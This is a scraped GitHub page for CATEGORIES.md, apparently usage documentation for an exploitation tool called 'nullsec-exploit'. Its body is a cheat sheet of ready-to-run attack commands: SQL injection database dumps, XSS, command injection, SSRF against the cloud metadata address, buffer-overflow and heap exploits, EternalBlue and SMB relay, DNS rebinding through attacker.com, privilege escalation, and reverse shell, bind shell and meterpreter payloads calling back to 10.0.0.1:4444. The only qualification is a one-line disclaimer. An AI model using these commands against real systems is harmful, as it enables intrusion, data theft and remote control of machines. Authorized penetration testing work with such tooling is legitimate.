Skip to content

CATEGORIES.md

Latest commit

 

History

History
114 lines (85 loc) · 2.31 KB

CATEGORIES.md

File metadata and controls

114 lines (85 loc) · 2.31 KB

NullSec Exploit Categories

Web Exploits

SQL Injection

# Detect SQLi
nullsec-exploit --sqli --detect --url "https://target.com/search?q="

# Extract database
nullsec-exploit --sqli --dump --url "https://target.com/search?q=" --dbs

# Blind SQLi
nullsec-exploit --sqli --blind --url "https://target.com/search?q=" --technique time

XSS

# Reflected XSS scan
nullsec-exploit --xss --scan --url https://target.com --crawl

# Stored XSS detection
nullsec-exploit --xss --stored --url https://target.com/comment

# DOM-based XSS
nullsec-exploit --xss --dom --url https://target.com

Command Injection

nullsec-exploit --cmdi --url "https://target.com/ping?host=" --payloads cmdi.txt

SSRF

nullsec-exploit --ssrf --url "https://target.com/fetch?url=" --target http://169.254.169.254/

Binary Exploits

Buffer Overflow

# Pattern generation
nullsec-exploit --bof --pattern --length 1000

# Offset calculation
nullsec-exploit --bof --offset --pattern "Aa0A"

# ROP chain generation
nullsec-exploit --bof --rop --binary vuln.exe --target win10

Format String

nullsec-exploit --format --target vuln --offset 6 --write 0x08048500

Heap Exploitation

nullsec-exploit --heap --technique uaf --binary vuln --libc libc.so.6

Network Exploits

SMB

# EternalBlue (MS17-010)
nullsec-exploit --smb --ms17-010 --target 192.168.1.100

# SMB relay
nullsec-exploit --smb --relay --target 192.168.1.100

DNS

# DNS rebinding
nullsec-exploit --dns --rebind --domain attacker.com --target 192.168.1.100

Privilege Escalation

Linux

# Enumerate privesc vectors
nullsec-exploit --privesc --os linux --enumerate

# Exploit suggestions
nullsec-exploit --privesc --os linux --suggest

Windows

# Enumerate privesc vectors
nullsec-exploit --privesc --os windows --enumerate

# Token manipulation
nullsec-exploit --privesc --os windows --token

Payload Generation

# Reverse shell
nullsec-exploit --payload --type reverse --host 10.0.0.1 --port 4444 --format python

# Bind shell
nullsec-exploit --payload --type bind --port 4444 --format c

# Meterpreter
nullsec-exploit --payload --type meterpreter --host 10.0.0.1 --port 4444 --format exe

Disclaimer

For authorized penetration testing only.